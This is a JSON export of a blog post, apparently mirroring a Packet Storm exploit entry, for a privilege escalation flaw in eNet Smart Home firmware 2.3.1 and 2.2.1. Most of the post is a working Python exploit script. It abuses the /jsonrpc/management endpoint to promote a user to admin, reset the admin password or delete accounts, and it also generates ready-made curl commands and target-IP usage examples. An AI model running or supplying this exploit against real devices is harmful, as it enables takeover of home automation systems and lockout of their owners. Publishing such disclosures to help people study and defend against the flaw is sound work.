{"id":41403,"date":"2026-02-18T12:49:50","date_gmt":"2026-02-18T12:49:50","guid":{"rendered":"http:\/\/localhost\/?p=41403"},"modified":"2026-02-18T12:49:50","modified_gmt":"2026-02-18T12:49:50","slug":"enet-smart-home-231-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41403","title":{"rendered":"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:00&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home device firmware versions 2.3.1 build 46841 and 2.2.1 build 46056 exposes JSON\u2011RPC management methods that may allow authenticated low\u2011privileged users to perform unauthorized administrative actions. Improper server\u2011side&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215794&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : eNet SMART HOME \u2264 2.3.1 \/ 2.2.1 \u2013 Authenticated Privilege Escalation via JSON\u2011RPC Management Interface                      |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.enet-smarthome.com\/en\/                                                                                          |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    : The eNet Smart Home device firmware (versions 2.3.1 build 46841 and 2.2.1 build 46056) exposes JSON\u2011RPC management methods that may allow authenticated low\u2011privileged users to perform unauthorized administrative actions.\\n                     Improper server\u2011side authorization controls on the \/jsonrpc\/management endpoint may enable privilege escalation via methods such as:\\n    \\n    setUserGroup\\n    \\n    resetUserPassword\\n    \\n    deleteUserAccount\\n    \\n    If role validation is insufficient, an authenticated standard user may escalate to administrative privileges by manipulating JSON\u2011RPC parameters.\\n    \\n    [+] POC : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import json\\n    import sys\\n    import argparse\\n    import random\\n    from urllib3.exceptions import InsecureRequestWarning\\n    from colorama import init, Fore, Style\\n    \\n    init(autoreset=True)\\n    \\n    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\\n    \\n    class ENetSmartHomeExploit:\\n        def __init__(self, target, port, protocol, icp, verbose=False):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Initialize the exploit class\\n            \\n            Args:\\n                target (str): Target IP or hostname\\n                port (str\/int): Target port\\n                protocol (str): http or https\\n                icp (str): ICP parameter from URL\\n                verbose (bool): Verbose output\\n            \\&#8221;\\&#8221;\\&#8221;\\n            self.target = target\\n            self.port = port\\n            self.protocol = protocol\\n            self.icp = icp\\n            self.verbose = verbose\\n            self.base_url = f\\&#8221;{protocol}:\/\/{target}:{port}\\&#8221;\\n            self.session = requests.Session()\\n            self.session.verify = False  # Ignore SSL certificates\\n            self.session.headers.update({\\n                &#8216;Content-Type&#8217;: &#8216;application\/json; charset=utf-8&#8217;,\\n                &#8216;Accept&#8217;: &#8216;application\/json, *\/*&#8217;,\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n            })\\n    \\n        def print_banner(self):\\n            \\&#8221;\\&#8221;\\&#8221;Print tool banner\\&#8221;\\&#8221;\\&#8221;\\n            banner = f\\&#8221;\\&#8221;\\&#8221;\\n    {Fore.CYAN}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                                                              \u2551\\n    \u2551   {Fore.YELLOW}eNet SMART HOME &#8211; Privilege Escalation Exploit by indoushka {Fore.CYAN}            \u2551\\n    \u2551   {Fore.WHITE}ZSL-2026-5975 | Discovered by Gjoko &#8216;LiquidWorm&#8217; Krstic{Fore.CYAN}   \u2551\\n    \u2551   {Fore.RED}Version: 2.3.1 (46841) and 2.2.1 (46056){Fore.CYAN}                  \u2551\\n    \u2551                                                              \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{Style.RESET_ALL}\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(banner)\\n    \\n        def print_warnings(self):\\n            \\&#8221;\\&#8221;\\&#8221;Print important warnings\\&#8221;\\&#8221;\\&#8221;\\n            warnings = f\\&#8221;\\&#8221;\\&#8221;\\n    {Fore.RED}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                     \u26a0\ufe0f  indoushka  \u26a0\ufe0f                        \u2551\\n    \u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\\n    \u2551 \u2022 This exploit requires a valid session cookie               \u2551\\n    \u2551 \u2022 You must be logged in as a regular user first              \u2551\\n    \u2551 \u2022 If server validates permissions, exploit will FAIL         \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{Style.RESET_ALL}\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(warnings)\\n    \\n        def login(self, username, password):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Login to get session cookie\\n            \\n            Args:\\n                username (str): Username\\n                password (str): Password\\n                \\n            Returns:\\n                bool: True if login successful\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;{Fore.YELLOW}[*] Attempting login as {username}&#8230;\\&#8221;)\\n            \\n            url = f\\&#8221;{self.base_url}\/jsonrpc\/auth\\&#8221;\\n            payload = {\\n                \\&#8221;jsonrpc\\&#8221;: \\&#8221;2.0\\&#8221;,\\n                \\&#8221;method\\&#8221;: \\&#8221;login\\&#8221;,\\n                \\&#8221;params\\&#8221;: {\\n                    \\&#8221;userName\\&#8221;: username,\\n                    \\&#8221;password\\&#8221;: password\\n                },\\n                \\&#8221;id\\&#8221;: 1\\n            }\\n            \\n            try:\\n                response = self.session.post(url, json=payload, timeout=10)\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    if \\&#8221;result\\&#8221; in data and data[\\&#8221;result\\&#8221;].get(\\&#8221;success\\&#8221;):\\n                        print(f\\&#8221;{Fore.GREEN}[+] Login successful!\\&#8221;)\\n                        if self.verbose:\\n                            print(f\\&#8221;{Fore.CYAN}[DEBUG] Cookies: {dict(self.session.cookies)}\\&#8221;)\\n                        return True\\n                    else:\\n                        print(f\\&#8221;{Fore.RED}[-] Login failed: Invalid credentials\\&#8221;)\\n                        if self.verbose:\\n                            print(f\\&#8221;{Fore.CYAN}[DEBUG] Response: {json.dumps(data, indent=2)}\\&#8221;)\\n                else:\\n                    print(f\\&#8221;{Fore.RED}[-] Login failed: HTTP {response.status_code}\\&#8221;)\\n                    \\n            except requests.exceptions.RequestException as e:\\n                print(f\\&#8221;{Fore.RED}[-] Login error: {e}\\&#8221;)\\n                \\n            return False\\n    \\n        def execute_exploit(self, action, **kwargs):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Execute the exploit\\n            \\n            Args:\\n                action (str): elevate, reset, delete, or test\\n                **kwargs: Additional parameters based on action\\n                \\n            Returns:\\n                dict: Response data\\n            \\&#8221;\\&#8221;\\&#8221;\\n            url = f\\&#8221;{self.base_url}\/jsonrpc\/management\\&#8221;\\n    \\n            if action == \\&#8221;elevate\\&#8221;:\\n                method = \\&#8221;setUserGroup\\&#8221;\\n                params = {\\n                    \\&#8221;userName\\&#8221;: kwargs.get(\\&#8221;username\\&#8221;, \\&#8221;zeroscience\\&#8221;),\\n                    \\&#8221;userGroup\\&#8221;: kwargs.get(\\&#8221;group\\&#8221;, \\&#8221;UG_ADMIN\\&#8221;)\\n                }\\n            elif action == \\&#8221;reset\\&#8221;:\\n                method = \\&#8221;resetUserPassword\\&#8221;\\n                params = {\\n                    \\&#8221;userName\\&#8221;: kwargs.get(\\&#8221;username\\&#8221;, \\&#8221;admin\\&#8221;),\\n                    \\&#8221;defaultPassword\\&#8221;: kwargs.get(\\&#8221;password\\&#8221;, \\&#8221;12345678\\&#8221;)\\n                }\\n            elif action == \\&#8221;delete\\&#8221;:\\n                method = \\&#8221;deleteUserAccount\\&#8221;\\n                params = {\\n                    \\&#8221;userName\\&#8221;: kwargs.get(\\&#8221;username\\&#8221;, \\&#8221;zeroscience\\&#8221;)\\n                }\\n            elif action == \\&#8221;test\\&#8221;:\\n                method = kwargs.get(\\&#8221;test_type\\&#8221;, \\&#8221;getUserList\\&#8221;)\\n                params = {}\\n            else:\\n                print(f\\&#8221;{Fore.RED}[-] Invalid action: {action}\\&#8221;)\\n                return None\\n    \\n            request_id = random.randint(1, 9999)\\n            \\n            payload = {\\n                \\&#8221;jsonrpc\\&#8221;: \\&#8221;2.0\\&#8221;,\\n                \\&#8221;method\\&#8221;: method,\\n                \\&#8221;params\\&#8221;: params,\\n                \\&#8221;id\\&#8221;: request_id\\n            }\\n    \\n            referer = f\\&#8221;{self.base_url}\/serverconfiguration.html?icp={self.icp}#Usermanagement\\&#8221;\\n            self.session.headers.update({&#8216;Referer&#8217;: referer})\\n            \\n            print(f\\&#8221;{Fore.YELLOW}[*] Executing: {method}\\&#8221;)\\n            if self.verbose:\\n                print(f\\&#8221;{Fore.CYAN}[DEBUG] URL: {url}\\&#8221;)\\n                print(f\\&#8221;{Fore.CYAN}[DEBUG] Referer: {referer}\\&#8221;)\\n                print(f\\&#8221;{Fore.CYAN}[DEBUG] Payload: {json.dumps(payload, indent=2)}\\&#8221;)\\n            \\n            try:\\n                response = self.session.post(url, json=payload, timeout=10)\\n                \\n                if self.verbose:\\n                    print(f\\&#8221;{Fore.CYAN}[DEBUG] Response status: {response.status_code}\\&#8221;)\\n                    print(f\\&#8221;{Fore.CYAN}[DEBUG] Response headers: {dict(response.headers)}\\&#8221;)\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n    \\n                    if \\&#8221;error\\&#8221; in data:\\n                        print(f\\&#8221;{Fore.RED}[-] Server returned error:\\&#8221;)\\n                        print(json.dumps(data[\\&#8221;error\\&#8221;], indent=2))\\n    \\n                        if data[\\&#8221;error\\&#8221;].get(\\&#8221;code\\&#8221;) == -32601:\\n                            print(f\\&#8221;{Fore.YELLOW}[!] Method not found &#8211; Target version may be different\\&#8221;)\\n                        elif \\&#8221;permission\\&#8221; in str(data[\\&#8221;error\\&#8221;]).lower():\\n                            print(f\\&#8221;{Fore.RED}[!] Permission denied &#8211; Server validates roles\\&#8221;)\\n                        elif \\&#8221;auth\\&#8221; in str(data[\\&#8221;error\\&#8221;]).lower():\\n                            print(f\\&#8221;{Fore.RED}[!] Authentication failed &#8211; Login required\\&#8221;)\\n                        \\n                        return data\\n                    else:\\n                        print(f\\&#8221;{Fore.GREEN}[+] Success!\\&#8221;)\\n                        print(json.dumps(data, indent=2))\\n    \\n                        if action == \\&#8221;elevate\\&#8221; and params[\\&#8221;userGroup\\&#8221;] == \\&#8221;UG_ADMIN\\&#8221;:\\n                            print(f\\&#8221;{Fore.GREEN}[+] Privilege escalation completed!\\&#8221;)\\n                            print(f\\&#8221;{Fore.YELLOW}[!] User {params[&#8216;userName&#8217;]} is now admin\\&#8221;)\\n                        elif action == \\&#8221;reset\\&#8221;:\\n                            print(f\\&#8221;{Fore.GREEN}[+] Password reset completed!\\&#8221;)\\n                        elif action == \\&#8221;delete\\&#8221;:\\n                            print(f\\&#8221;{Fore.GREEN}[+] User deleted successfully!\\&#8221;)\\n                        elif action == \\&#8221;test\\&#8221; and \\&#8221;result\\&#8221; in data:\\n                            print(f\\&#8221;{Fore.GREEN}[+] Test passed &#8211; Vulnerability may be present\\&#8221;)\\n                        \\n                        return data\\n                else:\\n                    print(f\\&#8221;{Fore.RED}[-] HTTP Error: {response.status_code}\\&#8221;)\\n                    \\n                    if response.status_code == 401:\\n                        print(f\\&#8221;{Fore.RED}[!] Unauthorized &#8211; Login required first\\&#8221;)\\n                    elif response.status_code == 403:\\n                        print(f\\&#8221;{Fore.RED}[!] Forbidden &#8211; Insufficient permissions or CSRF token required\\&#8221;)\\n                    elif response.status_code == 404:\\n                        print(f\\&#8221;{Fore.RED}[!] Not Found &#8211; Check URL or endpoint\\&#8221;)\\n                        \\n                    if self.verbose:\\n                        print(f\\&#8221;{Fore.CYAN}[DEBUG] Response text: {response.text[:200]}\\&#8221;)\\n                        \\n            except requests.exceptions.Timeout:\\n                print(f\\&#8221;{Fore.RED}[-] Request timeout (10s) &#8211; Server not responding\\&#8221;)\\n            except requests.exceptions.ConnectionError:\\n                print(f\\&#8221;{Fore.RED}[-] Connection failed &#8211; Check target and port\\&#8221;)\\n            except requests.exceptions.RequestException as e:\\n                print(f\\&#8221;{Fore.RED}[-] Request error: {e}\\&#8221;)\\n                \\n            return None\\n    \\n        def get_session_info(self):\\n            \\&#8221;\\&#8221;\\&#8221;Get current session information\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;{Fore.YELLOW}[*] Session information:\\&#8221;)\\n            print(f\\&#8221;    Cookies: {dict(self.session.cookies)}\\&#8221;)\\n            print(f\\&#8221;    Headers: {dict(self.session.headers)}\\&#8221;)\\n    \\n        def generate_curl_command(self, action, **kwargs):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Generate curl command for manual testing\\n            \\n            Args:\\n                action (str): Action type\\n                **kwargs: Parameters for the action\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if action == \\&#8221;elevate\\&#8221;:\\n                method = \\&#8221;setUserGroup\\&#8221;\\n                params = {\\n                    \\&#8221;userName\\&#8221;: kwargs.get(\\&#8221;username\\&#8221;, \\&#8221;zeroscience\\&#8221;),\\n                    \\&#8221;userGroup\\&#8221;: kwargs.get(\\&#8221;group\\&#8221;, \\&#8221;UG_ADMIN\\&#8221;)\\n                }\\n            elif action == \\&#8221;reset\\&#8221;:\\n                method = \\&#8221;resetUserPassword\\&#8221;\\n                params = {\\n                    \\&#8221;userName\\&#8221;: kwargs.get(\\&#8221;username\\&#8221;, \\&#8221;admin\\&#8221;),\\n                    \\&#8221;defaultPassword\\&#8221;: kwargs.get(\\&#8221;password\\&#8221;, \\&#8221;12345678\\&#8221;)\\n                }\\n            elif action == \\&#8221;delete\\&#8221;:\\n                method = \\&#8221;deleteUserAccount\\&#8221;\\n                params = {\\n                    \\&#8221;userName\\&#8221;: kwargs.get(\\&#8221;username\\&#8221;, \\&#8221;zeroscience\\&#8221;)\\n                }\\n            elif action == \\&#8221;test\\&#8221;:\\n                method = kwargs.get(\\&#8221;test_type\\&#8221;, \\&#8221;getUserList\\&#8221;)\\n                params = {}\\n            else:\\n                return None\\n                \\n            payload = {\\n                \\&#8221;jsonrpc\\&#8221;: \\&#8221;2.0\\&#8221;,\\n                \\&#8221;method\\&#8221;: method,\\n                \\&#8221;params\\&#8221;: params,\\n                \\&#8221;id\\&#8221;: random.randint(1, 9999)\\n            }\\n            \\n            referer = f\\&#8221;{self.base_url}\/serverconfiguration.html?icp={self.icp}#Usermanagement\\&#8221;\\n            \\n            curl_cmd = f\\&#8221;\\&#8221;\\&#8221;\\n    {Fore.CYAN}# ============================================\\n    # RECOMMENDED METHOD &#8211; Command Line (No browser restrictions)\\n    # ============================================\\n    \\n    # Step 1: Login and save cookies\\n    curl -k -c cookies.txt -X POST \\&#8221;{self.base_url}\/jsonrpc\/auth\\&#8221; \\\\\\\\\\n      -H \\&#8221;Content-Type: application\/json\\&#8221; \\\\\\\\\\n      -d &#8216;{json.dumps({\\&#8221;jsonrpc\\&#8221;:\\&#8221;2.0\\&#8221;,\\&#8221;method\\&#8221;:\\&#8221;login\\&#8221;,\\&#8221;params\\&#8221;:{\\&#8221;userName\\&#8221;:\\&#8221;YOUR_USERNAME\\&#8221;,\\&#8221;password\\&#8221;:\\&#8221;YOUR_PASSWORD\\&#8221;},\\&#8221;id\\&#8221;:1})}&#8217;\\n    \\n    # Step 2: Execute exploit\\n    curl -k -b cookies.txt -X POST \\&#8221;{self.base_url}\/jsonrpc\/management\\&#8221; \\\\\\\\\\n      -H \\&#8221;Content-Type: application\/json\\&#8221; \\\\\\\\\\n      -H \\&#8221;Referer: {referer}\\&#8221; \\\\\\\\\\n      -d &#8216;{json.dumps(payload)}&#8217;\\n    \\n    # ============================================\\n    # Notes:\\n    # &#8211; Use -k to ignore SSL certificate errors\\n    # &#8211; Cookies saved in cookies.txt\\n    # &#8211; Replace YOUR_USERNAME\/YOUR_PASSWORD with actual credentials\\n    # ============================================{Style.RESET_ALL}\\n    \\&#8221;\\&#8221;\\&#8221;\\n            print(curl_cmd)\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;eNet SMART HOME Privilege Escalation Exploit (ZSL-2026-5975)\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      python3 exploit.py -t 192.168.1.100 -p 443 &#8211;icp a1b2c3d4e5 &#8211;protocol https &#8211;action elevate -u zeroscience -g UG_ADMIN\\n      python3 exploit.py -t 192.168.1.100 -p 80 &#8211;icp a1b2c3d4e5 &#8211;action reset -u admin &#8211;password 12345678\\n      python3 exploit.py -t 192.168.1.100 -p 443 &#8211;icp a1b2c3d4e5 &#8211;action delete -u zeroscience\\n      python3 exploit.py -t 192.168.1.100 -p 443 &#8211;icp a1b2c3d4e5 &#8211;action test &#8211;curl\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;, required=True, help=\\&#8221;Target IP or hostname\\&#8221;)\\n        parser.add_argument(\\&#8221;-p\\&#8221;, \\&#8221;&#8211;port\\&#8221;, required=True, help=\\&#8221;Target port\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;protocol\\&#8221;, choices=[\\&#8221;http\\&#8221;, \\&#8221;https\\&#8221;], default=\\&#8221;https\\&#8221;, help=\\&#8221;Protocol (default: https)\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;icp\\&#8221;, required=True, help=\\&#8221;ICP parameter from URL (required)\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;action\\&#8221;, choices=[\\&#8221;elevate\\&#8221;, \\&#8221;reset\\&#8221;, \\&#8221;delete\\&#8221;, \\&#8221;test\\&#8221;], default=\\&#8221;test\\&#8221;, help=\\&#8221;Action to perform\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;login\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Login first\\&#8221;)\\n        parser.add_argument(\\&#8221;-U\\&#8221;, \\&#8221;&#8211;login-username\\&#8221;, default=\\&#8221;admin\\&#8221;, help=\\&#8221;Username for login\\&#8221;)\\n        parser.add_argument(\\&#8221;-P\\&#8221;, \\&#8221;&#8211;login-password\\&#8221;, default=\\&#8221;12345678\\&#8221;, help=\\&#8221;Password for login\\&#8221;)\\n        parser.add_argument(\\&#8221;-u\\&#8221;, \\&#8221;&#8211;username\\&#8221;, default=\\&#8221;zeroscience\\&#8221;, help=\\&#8221;Username for the action\\&#8221;)\\n        parser.add_argument(\\&#8221;-g\\&#8221;, \\&#8221;&#8211;group\\&#8221;, choices=[\\&#8221;UG_USER\\&#8221;, \\&#8221;UG_ADMIN\\&#8221;], default=\\&#8221;UG_ADMIN\\&#8221;, help=\\&#8221;Target group for elevation\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;password\\&#8221;, default=\\&#8221;12345678\\&#8221;, help=\\&#8221;New password for reset action\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;test-type\\&#8221;, choices=[\\&#8221;getUserList\\&#8221;, \\&#8221;getSystemInfo\\&#8221;], default=\\&#8221;getUserList\\&#8221;, help=\\&#8221;Test type\\&#8221;)\\n        parser.add_argument(\\&#8221;-v\\&#8221;, \\&#8221;&#8211;verbose\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Verbose output\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;curl\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Generate curl command only\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;no-warnings\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Disable warnings\\&#8221;)\\n        \\n        args = parser.parse_args()\\n    \\n        exploit = ENetSmartHomeExploit(\\n            target=args.target,\\n            port=args.port,\\n            protocol=args.protocol,\\n            icp=args.icp,\\n            verbose=args.verbose\\n        )\\n    \\n        exploit.print_banner()\\n    \\n        if not args.no_warnings:\\n            exploit.print_warnings()\\n        if args.curl:\\n            exploit.generate_curl_command(\\n                action=args.action,\\n                username=args.username,\\n                group=args.group,\\n                password=args.password,\\n                test_type=args.test_type\\n            )\\n            sys.exit(0)\\n    \\n        if args.login:\\n            if not exploit.login(args.login_username, args.login_password):\\n                print(f\\&#8221;{Fore.RED}[-] Login failed. Exiting.\\&#8221;)\\n                sys.exit(1)\\n        else:\\n            print(f\\&#8221;{Fore.YELLOW}[!] Warning: Not logging in. Make sure you have a valid session cookie.\\&#8221;)\\n            print(f\\&#8221;{Fore.YELLOW}[!] Use &#8211;login to login first or &#8211;curl for manual testing.\\&#8221;)\\n        if args.action == \\&#8221;elevate\\&#8221;:\\n            exploit.execute_exploit(\\n                action=\\&#8221;elevate\\&#8221;,\\n                username=args.username,\\n                group=args.group\\n            )\\n        elif args.action == \\&#8221;reset\\&#8221;:\\n            exploit.execute_exploit(\\n                action=\\&#8221;reset\\&#8221;,\\n                username=args.username,\\n                password=args.password\\n            )\\n        elif args.action == \\&#8221;delete\\&#8221;:\\n            exploit.execute_exploit(\\n                action=\\&#8221;delete\\&#8221;,\\n                username=args.username\\n            )\\n        elif args.action == \\&#8221;test\\&#8221;:\\n            exploit.execute_exploit(\\n                action=\\&#8221;test\\&#8221;,\\n                test_type=args.test_type\\n            )\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        try:\\n            main()\\n        except KeyboardInterrupt:\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[!] Interrupted by user\\&#8221;)\\n            sys.exit(0)\\n        except Exception as e:\\n            print(f\\&#8221;{Fore.RED}[-] Unexpected error: {e}\\&#8221;)\\n            sys.exit(1)\\n    \\t\\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215794&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215794\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:00&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home device firmware versions 2.3.1 build 46841 and 2.2.1 build 46056 exposes JSON\u2011RPC management methods that may allow authenticated low\u2011privileged users to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41403","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41403\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 eNet SMART HOME 2.3.1 Privilege Escalation_PACKETSTORM:215794 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:00&#8243;,&#8221;description&#8221;:&#8221;The eNet Smart Home device firmware versions 2.3.1 build 46841 and 2.2.1 build 46056 exposes JSON\u2011RPC management methods that may allow authenticated low\u2011privileged users to...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41403\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-18T12:49:50+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" 